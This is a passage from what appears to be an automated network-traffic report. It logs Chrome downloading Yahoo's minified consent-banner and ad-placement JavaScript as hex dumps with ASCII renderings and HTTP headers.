nner.lastDecision&&v.YCTBanner.lastDecision.normalizedOptions)))}function E(e,n){if("ybanner-a11y"!==e.normalizedOptions.experiment){var t=(0,c.encode)(e.cookieResult.consentCookies,n);return null!==t&&(0,c.saveSession)(t,e.normalizedOptions.consentHost),
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 49 66 72 61 6d 65 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 75 2e 4d 65 73 73 61 67 65 54 79 70 65 2e 63 6f 6e 74 65 78 74 44 61 74 61 3a 76 61 72 20 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 30 2c 63 2e 69 73 56 61 6c 69 64 53 65 73 73 69 6f 6e 56 61 6c 75 65 29 28 6e 2c 65 2e 63 6f 6f 6b 69 65 52 65 73 75 6c 74 2e 63 6f 6e 73 65 6e 74 43 6f 6f 6b 69 65 73 29 3f 6e 3a 6e 75 6c 6c 7d 28 65 2c 6e 2e 73 65 73 73 69 6f 6e 29 3b 69 66 28 6e 2e 69 73 42 61 6e 6e 65 72 45 6c 69 67 69 62 6c 65 26 26 21 6c 29 7b 6f 2e 64 69 73 70 6c 61 79 46 72 61 6d 65 28 29 2c 74 3d 21 30 2c 6b 28 65 2c 22 63 6a 73 42 61 6e 6e 65 72 44 69 73 70 6c 61 79 22 29 2c 6f 2e 72 65 66 72 65 73 68 46 72 61 6d 65 53 69 7a 65 28 29 3b 76 61 72 20 64 3d 45 28 65 Data Ascii: Iframe();break;case u.MessageType.contextData:var l=function(e,n){return(0,c.isValidSessionValue)(n,e.cookieResult.consentCookies)?n:null}(e,n.session);if(n.isBannerEligible&&!l){o.displayFrame(),t=!0,k(e,"cjsBannerDisplay"),o.refreshFrameSize();var d=E(e
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 2e 77 61 72 6e 29 28 22 45 72 72 6f 72 20 64 75 72 69 6e 67 20 72 75 6e 3a 20 22 2e 63 6f 6e 63 61 74 28 65 2e 6d 65 73 73 61 67 65 3f 65 2e 6d 65 73 73 61 67 65 3a 65 29 29 2c 28 30 2c 66 2e 64 69 73 70 61 74 63 68 54 61 73 6b 43 6f 6d 70 6c 65 74 65 64 45 76 65 6e 74 29 28 22 22 2c 21 31 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 28 65 29 7b 69 2e 73 74 61 72 74 3d 2b 6e 65 77 20 44 61 74 65 2c 28 30 2c 61 2e 64 65 66 61 75 6c 74 29 28 65 2c 54 29 7d 6e 2e 62 61 6e 6e 65 72 54 61 73 6b 4e 61 6d 65 3d 22 50 72 69 76 61 63 79 42 61 6e 6e 65 72 22 2c 6e 2e 72 75 6e 57 69 74 68 44 65 63 69 73 69 6f 6e 3d 54 2c 6e 2e 72 75 6e 3d 41 2c 76 2e 59 43 54 42 61 6e 6e 65 72 7c 7c 28 76 2e 59 43 54 42 61 6e 6e 65 72 3d 7b 6c 61 73 74 44 65 63 69 73 69 6f 6e 3a 6e 75 Data Ascii: .warn)("Error during run: ".concat(e.message?e.message:e)),(0,f.dispatchTaskCompletedEvent)("",!1)}}}function A(e){i.start=+new Date,(0,a.default)(e,T)}n.bannerTaskName="PrivacyBanner",n.runWithDecision=T,n.run=A,v.YCTBanner\|\|(v.YCTBanner={lastDecision:nu
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 73 69 6f 6e 45 78 70 69 72 79 2c 6f 2e 74 72 61 63 6b 55 73 65 72 49 6e 74 65 72 61 63 74 69 6f 6e 3d 63 29 3a 28 6f 2e 75 6e 73 61 66 65 52 65 6a 65 63 74 65 64 55 72 69 3d 75 2c 61 3d 31 31 34 29 3a 61 3d 31 31 35 3b 62 72 65 61 6b 3b 63 61 73 65 20 30 3a 61 3d 31 30 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 61 3d 31 31 30 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 61 3d 31 30 39 7d 6f 2e 72 65 6d 6f 74 65 52 65 73 75 6c 74 3d 7b 6f 75 74 63 6f 6d 65 3a 61 2c 61 63 74 69 6f 6e 3a 69 2e 61 63 74 69 6f 6e 2c 63 6f 6f 6b 69 65 73 3a 5b 5d 2c 75 6e 73 61 66 65 52 65 6a 65 63 74 65 64 43 6f 6f 6b 69 65 73 3a 5b 5d 7d 2c 73 28 65 2c 6f 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 29 7b 72 65 74 75 72 6e 21 21 28 65 26 26 65 2e 63 6f 6e 73 65 6e 74 48 6f Data Ascii: sionExpiry,o.trackUserInteraction=c):(o.unsafeRejectedUri=u,a=114):a=115;break;case 0:a=100;break;case 4:a=110;break;default:a=109}o.remoteResult={outcome:a,action:i.action,cookies:[],unsafeRejectedCookies:[]},s(e,o)}}function C(e){return!!(e&&e.consentHo
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 55 3a 65 2e 69 73 50 72 6f 64 75 63 74 45 55 2c 6c 6f 63 61 6c 65 3a 65 2e 6c 6f 63 61 6c 65 2c 6a 73 56 65 72 73 69 6f 6e 3a 6c 2e 76 65 72 73 69 6f 6e 2c 72 65 66 65 72 72 65 72 3a 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 7d 3b 28 30 2c 63 2e 64 65 66 61 75 6c 74 29 28 61 2c 28 66 75 6e 63 74 69 6f 6e 28 69 2c 73 29 7b 74 72 79 7b 76 28 69 2c 6f 2c 65 2c 6e 2c 73 2c 74 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 2c 6e 29 7d 7d 29 29 7d 28 72 2c 54 2c 74 29 3b 74 28 6e 75 6c 6c 2c 54 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 2c 70 29 7d 7d 7d 2c 33 32 36 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 2c 6e 2e 70 65 72 73 6f 6e 61 6c 69 7a 65 64 41 64 73 4e 6f 6e Data Ascii: U:e.isProductEU,locale:e.locale,jsVersion:l.version,referrer:document.referrer};(0,c.default)(a,(function(i,s){try{v(i,o,e,n,s,t)}catch(e){t(e,n)}}))}(r,T,t);t(null,T)}catch(e){t(e,p)}}},3263:function(e,n){"use strict";n.__esModule=!0,n.personalizedAdsNon
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 72 73 6f 6e 61 6c 69 7a 65 64 41 64 73 43 41 22 2c 70 6f 70 75 70 43 6f 6e 73 65 6e 74 41 63 63 70 65 74 45 6e 64 70 6f 69 6e 74 3a 22 63 6f 6e 73 65 6e 74 2f 61 6c 6c 6f 77 50 65 72 73 6f 6e 61 6c 69 7a 65 64 41 64 73 22 2c 70 6f 70 75 70 43 6f 6e 73 65 6e 74 52 65 6a 65 63 74 45 6e 64 70 6f 69 6e 74 3a 22 63 6f 6e 73 65 6e 74 2f 64 69 73 41 6c 6c 6f 77 50 65 72 73 6f 6e 61 6c 69 7a 65 64 41 64 73 22 2c 63 6f 6e 73 65 6e 74 4d 65 74 61 44 61 74 61 53 72 63 54 79 70 65 52 65 6a 65 63 74 3a 22 50 65 72 73 6f 6e 61 6c 69 7a 65 64 41 64 73 49 6e 66 6f 52 65 6a 65 63 74 22 2c 63 6f 6e 73 65 6e 74 4d 65 74 61 44 61 74 61 53 72 63 54 79 70 65 41 73 6b 4d 65 4c 61 74 65 72 3a 22 50 65 72 73 6f 6e 61 6c 69 7a 65 64 41 64 73 49 6e 66 6f 41 73 6b 4d 65 4c 61 74 65 Data Ascii: rsonalizedAdsCA",popupConsentAccpetEndpoint:"consent/allowPersonalizedAds",popupConsentRejectEndpoint:"consent/disAllowPersonalizedAds",consentMetaDataSrcTypeReject:"PersonalizedAdsInfoReject",consentMetaDataSrcTypeAskMeLater:"PersonalizedAdsInfoAskMeLate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49804	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	563	OUT	GET /aaq/scp/js/fpDesktop.2e8440661542e9dfceb3228f597ec875.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:49 UTC	853	IN	HTTP/1.1 200 OK x-amz-id-2: 9pDGgG2xyoCICNMCZoLlfFqpvgdscUulKcW0gW7jarb8lCwEYeGEsLZK83ACqwnu7VVux/6HyL8= x-amz-request-id: SY1W44KK416AR1F8 Date: Sat, 27 Apr 2024 07:33:47 GMT Last-Modified: Fri, 12 Apr 2024 19:09:28 GMT ETag: "2e8440661542e9dfceb3228f597ec875" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: mwior7YrzeDYtGOmN4DCF_FgysmvLb2n Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 15365 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 54483 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 74 3d 65 2e 62 61 73 65 7c 7c 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 2c 6f 29 7b 69 66 28 65 29 72 65 74 75 72 6e 20 6f 3d 6f 7c 7c 7b 7d 2c 65 2e 75 74 69 6c 73 2e 65 6c 65 6d 65 6e 74 49 6e 56 69 65 77 28 6e 2c 6f 2c 74 2e 76 69 65 77 70 6f 72 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 2c 6e 2c 6f 2c 69 29 7b 72 65 74 75 72 6e 7b 63 6c 65 61 6e 3a 74 2c 64 65 73 74 3a 6e 2c 68 3a 69 2c 6d 65 74 61 53 69 7a 65 3a 21 30 2c 70 6f 73 3a 65 2c 73 75 70 70 6f 72 74 73 3a 21 31 2c 77 3a 6f 7d 7d 76 61 72 20 69 3d 7b 63 6f 6e 74 65 78 74 3a 7b 62 75 63 6b 65 74 3a 22 22 2c 62 75 63 6b 65 74 49 64 3a 22 22 2c 64 65 76 Data Ascii: !function(){"use strict";var e=window.wafer,t=e.base\|\|{};function n(n,o){if(e)return o=o\|\|{},e.utils.elementInView(n,o,t.viewport)}function o(e,t,n,o,i){return{clean:t,dest:n,h:i,metaSize:!0,pos:e,supports:!1,w:o}}var i={context:{bucket:"",bucketId:"",dev
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 74 69 6f 6e 2e 68 72 65 66 2c 73 61 3a 6c 2c 73 65 63 75 72 65 3a 74 2e 73 65 63 75 72 65 2c 73 70 3a 74 2e 73 70 2c 73 73 6c 3a 74 2e 73 73 6c 2c 75 6c 74 3a 74 2e 75 6c 74 7d 3b 6d 2e 61 64 64 28 63 29 2c 6d 2e 65 76 65 6e 74 28 62 29 7d 7d 28 61 29 7d 29 29 2c 28 73 3d 63 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 43 2b 28 6e 75 6c 6c 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 2e 70 6f 73 29 29 29 7c 7c 66 2e 65 6e 61 62 6c 65 47 41 4d 41 64 73 29 7b 65 3d 7b 6f 66 66 73 65 74 58 3a 30 2c 6f 66 66 73 65 74 59 3a 70 61 72 73 65 49 6e 74 28 74 2e 6f 66 66 73 65 74 2c 31 30 29 7c 7c 31 30 30 7d 2c 68 2e 6f 6e 28 45 2c 49 29 2c 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 76 69 65 77 65 72 4f 70 65 6e 65 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: tion.href,sa:l,secure:t.secure,sp:t.sp,ssl:t.ssl,ult:t.ult};m.add(c),m.event(b)}}(a)})),(s=c.getElementById(C+(null==r?void 0:r.pos)))\|\|f.enableGAMAds){e={offsetX:0,offsetY:parseInt(t.offset,10)\|\|100},h.on(E,I),d.addEventListener("viewerOpened",(function(
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 52 42 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 48 74 2d 70 6c 2d 4c 52 45 43 22 29 29 26 26 28 69 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 48 74 2d 70 6c 2d 4c 44 52 42 22 29 2c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 48 74 2d 70 6c 2d 4c 52 45 43 22 29 29 7d 69 66 28 74 2e 4d 4f 4e 32 26 26 74 2e 4c 52 45 43 33 26 26 74 2e 4c 52 45 43 34 29 7b 76 61 72 20 61 3d 74 2e 4d 4f 4e 32 2e 76 61 6c 69 64 41 64 2c 73 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 73 64 61 2d 4c 52 45 43 33 22 29 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 73 64 61 2d 4c 52 45 43 34 22 29 3b 61 3f 28 73 2e 63 6c 61 73 73 4c 69 73 74 2e 61 Data Ascii: RB")\|\|i.classList.contains("Ht-pl-LREC"))&&(i.classList.remove("Ht-pl-LDRB"),i.classList.remove("Ht-pl-LREC"))}if(t.MON2&&t.LREC3&&t.LREC4){var a=t.MON2.validAd,s=document.getElementById("sda-LREC3"),r=document.getElementById("sda-LREC4");a?(s.classList.a
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6e 20 53 28 29 7b 76 61 72 20 65 3b 69 66 28 64 2e 70 61 67 65 6c 6f 61 64 4e 6f 6e 43 6f 6c 6c 61 70 73 65 64 41 64 73 29 7b 66 6f 72 28 76 61 72 20 6f 2c 69 3d 5b 5d 2c 61 3d 64 2e 70 61 67 65 6c 6f 61 64 4e 6f 6e 43 6f 6c 6c 61 70 73 65 64 41 64 73 2c 73 3d 30 2c 72 3d 5b 22 4c 52 45 43 22 2c 22 4d 41 53 54 22 2c 22 4c 44 52 42 22 2c 22 55 42 41 4c 44 52 42 22 2c 22 55 42 41 4c 52 45 43 22 2c 22 55 42 41 4c 52 45 43 32 22 2c 22 55 42 41 4c 52 45 43 33 22 5d 3b 73 3c 72 2e 6c 65 6e 67 74 68 3b 73 2b 2b 29 7b 76 61 72 20 66 3d 72 5b 73 5d 2c 75 3d 66 3b 69 66 28 61 2e 69 6e 64 65 78 4f 66 28 66 29 3e 3d 30 29 7b 66 2e 69 6e 63 6c 75 64 65 73 28 22 55 42 41 22 29 26 26 28 75 3d 66 2e 73 70 6c 69 74 28 22 55 42 41 22 29 5b 31 5d 29 3b 76 61 72 20 76 3d 63 Data Ascii: n S(){var e;if(d.pageloadNonCollapsedAds){for(var o,i=[],a=d.pageloadNonCollapsedAds,s=0,r=["LREC","MAST","LDRB","UBALDRB","UBALREC","UBALREC2","UBALREC3"];s<r.length;s++){var f=r[s],u=f;if(a.indexOf(f)>=0){f.includes("UBA")&&(u=f.split("UBA")[1]);var v=c
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 20 6e 3d 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 4f 29 3b 69 66 28 6e 26 26 6e 2e 6c 65 6e 67 74 68 3e 30 29 7b 6c 2e 72 65 70 6c 61 63 65 57 69 74 68 28 6e 5b 30 5d 29 3b 76 61 72 20 6f 3d 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 4f 29 3b 6f 26 26 6f 2e 6c 65 6e 67 74 68 3e 30 26 26 28 6c 3d 6f 5b 30 5d 2c 64 2e 77 61 66 65 72 2e 62 61 73 65 2e 73 79 6e 63 28 6c 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 29 7d 7d 7d 29 29 7d 7d 28 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 2c 69 2c 61 3d 76 2e 63 6f 6e 74 65 78 74 2c 73 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 2e 62 75 63 6b 65 74 29 3f 61 2e 62 75 63 6b 65 74 2e 6a 6f 69 6e 28 22 2c 22 29 Data Ascii: n=e.getElementsByClassName(O);if(n&&n.length>0){l.replaceWith(n[0]);var o=c.getElementsByClassName(O);o&&o.length>0&&(l=o[0],d.wafer.base.sync(l.parentElement))}}}))}}()}}}function M(e,t,n){var o,i,a=v.context,s=Array.isArray(a.bucket)?a.bucket.join(",")
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 65 72 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 75 74 69 6c 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 2e 66 69 72 65 42 65 61 63 6f 6e 29 26 26 64 2e 77 61 66 65 72 2e 75 74 69 6c 73 2e 66 69 72 65 42 65 61 63 6f 6e 28 6f 29 7d 6d 3f 44 28 29 3a 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 64 61 72 6c 61 52 65 61 64 79 4f 6e 41 73 79 6e 63 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 44 28 29 7d 29 29 7d 3b 76 61 72 20 72 2c 6c 2c 64 3d 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 74 72 61 6e 73 66 6f 72 6d 44 61 72 6c 61 43 6f 6e 66 54 6f Data Ascii: er)\|\|void 0===t?void 0:t.utils)\|\|void 0===n?void 0:n.fireBeacon)&&d.wafer.utils.fireBeacon(o)}m?D():d.addEventListener("darlaReadyOnAsync",(function(){D()}))};var r,l,d=(function(e,t){Object.defineProperty(t,"__esModule",{value:!0}),t.transformDarlaConfTo
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6c 65 78 2e 77 2e 6d 69 6e 26 26 28 6f 2e 66 6c 65 78 69 62 6c 65 2e 77 69 64 74 68 2e 6d 69 6e 3d 70 61 72 73 65 49 6e 74 28 53 74 72 69 6e 67 28 65 2e 66 6c 65 78 2e 77 2e 6d 69 6e 29 2c 31 30 29 29 2c 65 2e 66 6c 65 78 2e 77 2e 6d 61 78 26 26 28 6f 2e 66 6c 65 78 69 62 6c 65 2e 77 69 64 74 68 2e 6d 61 78 3d 70 61 72 73 65 49 6e 74 28 53 74 72 69 6e 67 28 65 2e 66 6c 65 78 2e 77 2e 6d 61 78 29 2c 31 30 29 29 29 2c 65 2e 66 6c 65 78 2e 68 3f 28 6f 2e 66 6c 65 78 69 62 6c 65 2e 68 65 69 67 68 74 3d 7b 65 6e 61 62 6c 65 64 3a 21 30 7d 2c 65 2e 66 6c 65 78 2e 68 2e 6d 69 6e 26 26 28 6f 2e 66 6c 65 78 69 62 6c 65 2e 68 65 69 67 68 74 2e 6d 69 6e 3d 70 61 72 73 65 49 6e 74 28 53 74 72 69 6e 67 28 65 2e 66 6c 65 78 2e 68 2e 6d 69 6e 29 2c 31 30 29 29 2c 65 2e Data Ascii: lex.w.min&&(o.flexible.width.min=parseInt(String(e.flex.w.min),10)),e.flex.w.max&&(o.flexible.width.max=parseInt(String(e.flex.w.max),10))),e.flex.h?(o.flexible.height={enabled:!0},e.flex.h.min&&(o.flexible.height.min=parseInt(String(e.flex.h.min),10)),e.
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 3d 69 26 26 6f 2b 31 3c 65 2e 6c 65 6e 67 74 68 3b 29 6f 2b 2b 2c 69 3d 65 2e 63 68 61 72 41 74 28 6f 29 2c 74 3d 21 30 3b 74 26 26 6f 2d 2d 7d 7d 2c 73 3d 6e 3d 3e 7b 69 66 28 6f 2b 31 3c 65 2e 6c 65 6e 67 74 68 29 7b 66 6f 72 28 69 3d 65 2e 63 68 61 72 41 74 28 6f 2b 31 29 2c 6f 2b 2b 3b 69 21 3d 3d 6e 26 26 6f 2b 31 3c 65 2e 6c 65 6e 67 74 68 3b 29 74 2b 3d 69 2c 69 3d 65 2e 63 68 61 72 41 74 28 6f 2b 31 29 2c 6f 2b 2b 3b 69 21 3d 3d 6e 26 26 28 74 2b 3d 69 29 7d 7d 3b 66 6f 72 28 6f 3d 30 3b 6f 3c 65 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 69 3d 65 2e 63 68 61 72 41 74 28 6f 29 2c 22 3d 22 3d 3d 3d 69 3f 28 74 26 26 28 6e 2e 70 75 73 68 28 74 29 2c 74 3d 22 22 29 2c 61 28 29 29 3a 27 22 27 3d 3d 3d 69 3f 28 74 26 26 28 6e 2e 70 75 73 68 28 74 29 2c 74 3d Data Ascii: =i&&o+1<e.length;)o++,i=e.charAt(o),t=!0;t&&o--}},s=n=>{if(o+1<e.length){for(i=e.charAt(o+1),o++;i!==n&&o+1<e.length;)t+=i,i=e.charAt(o+1),o++;i!==n&&(t+=i)}};for(o=0;o<e.length;o++)i=e.charAt(o),"="===i?(t&&(n.push(t),t=""),a()):'"'===i?(t&&(n.push(t),t=
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 2c 74 2e 74 72 61 6e 73 66 6f 72 6d 44 61 72 6c 61 50 6f 73 69 74 69 6f 6e 43 6f 6e 66 54 6f 4a 61 63 29 28 6e 29 3b 6f 26 26 28 6f 2e 63 6c 69 65 6e 74 2e 6d 65 74 61 26 26 6f 2e 63 6c 69 65 6e 74 2e 6d 65 74 61 2e 68 6f 73 74 55 52 4c 7c 7c 21 67 7c 7c 28 6f 2e 63 6c 69 65 6e 74 2e 6d 65 74 61 7c 7c 28 6f 2e 63 6c 69 65 6e 74 2e 6d 65 74 61 3d 7b 68 6f 73 74 55 52 4c 3a 22 22 7d 29 2c 6f 2e 63 6c 69 65 6e 74 2e 6d 65 74 61 2e 68 6f 73 74 55 52 4c 3d 67 29 2c 28 30 2c 74 2e 75 70 64 61 74 65 52 6f 74 61 74 69 6f 6e 43 6f 6e 66 46 72 6f 6d 41 75 74 6f 45 76 65 6e 74 29 28 75 2c 65 2c 6f 2e 63 6c 69 65 6e 74 29 2c 63 2e 73 65 72 76 69 63 65 2e 70 6f 73 69 74 69 6f 6e 73 5b 65 5d 3d 6f 2e 73 65 72 76 69 63 65 2c 63 2e 63 6c 69 65 6e 74 2e 70 6f 73 69 74 69 Data Ascii: ,t.transformDarlaPositionConfToJac)(n);o&&(o.client.meta&&o.client.meta.hostURL\|\|!g\|\|(o.client.meta\|\|(o.client.meta={hostURL:""}),o.client.meta.hostURL=g),(0,t.updateRotationConfFromAutoEvent)(u,e,o.client),c.service.positions[e]=o.service,c.client.positi
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 64 61 2d 63 6f 6e 74 61 69 6e 65 72 22 29 29 26 26 28 76 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 48 74 2d 70 6c 2d 4c 44 52 42 22 29 7c 7c 76 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 48 74 2d 70 6c 2d 4c 52 45 43 22 29 29 26 26 76 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 48 74 2d 70 6c 2d 4c 44 52 42 22 2c 22 48 74 2d 70 6c 2d 4c 52 45 43 22 29 7d 76 61 72 20 70 3d 6e 75 6c 6c 3d 3d 3d 28 6f 3d 61 2e 72 65 73 70 6f 6e 73 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 70 6f 73 69 74 69 6f 6e 73 3b 69 66 28 70 26 26 70 2e 4d 4f 4e 32 26 26 70 2e 4c 52 45 43 33 26 26 70 2e 4c 52 45 43 34 29 7b 76 61 72 20 6d 3d 6e 75 6c 6c 3d 3d 3d 28 69 3d 70 2e 4d 4f 4e 32 2e 63 6f 6e 74 Data Ascii: da-container"))&&(v.classList.contains("Ht-pl-LDRB")\|\|v.classList.contains("Ht-pl-LREC"))&&v.classList.remove("Ht-pl-LDRB","Ht-pl-LREC")}var p=null===(o=a.response)\|\|void 0===o?void 0:o.positions;if(p&&p.MON2&&p.LREC3&&p.LREC4){var m=null===(i=p.MON2.cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49805	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	588	OUT	GET /aaq/fp/js/tdv2-wafer-utils.customErrorHandler.bcda778b736c3a054af62f437b536e78.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:49 UTC	852	IN	HTTP/1.1 200 OK x-amz-id-2: geyMIX0xWZ4qndv5yTYrJMyjui27IroYrEsIvv0XxxlF6fhioh16UmwVADyJJSoiUWIBwk+89Ec= x-amz-request-id: H57RA5VEV85WJC58 Date: Sat, 27 Apr 2024 11:19:58 GMT Last-Modified: Wed, 22 Nov 2023 02:30:41 GMT ETag: "bcda778b736c3a054af62f437b536e78" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 4nvcVa.IxmhX7xaj3DD1aoyDc2oHnofW Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 4249 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 40912 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 5f 74 79 70 65 6f 66 28 65 29 7b 72 65 74 75 72 6e 20 5f 74 79 70 65 6f 66 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 2c 5f 74 79 70 65 Data Ascii: "use strict";function _typeof(e){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_type
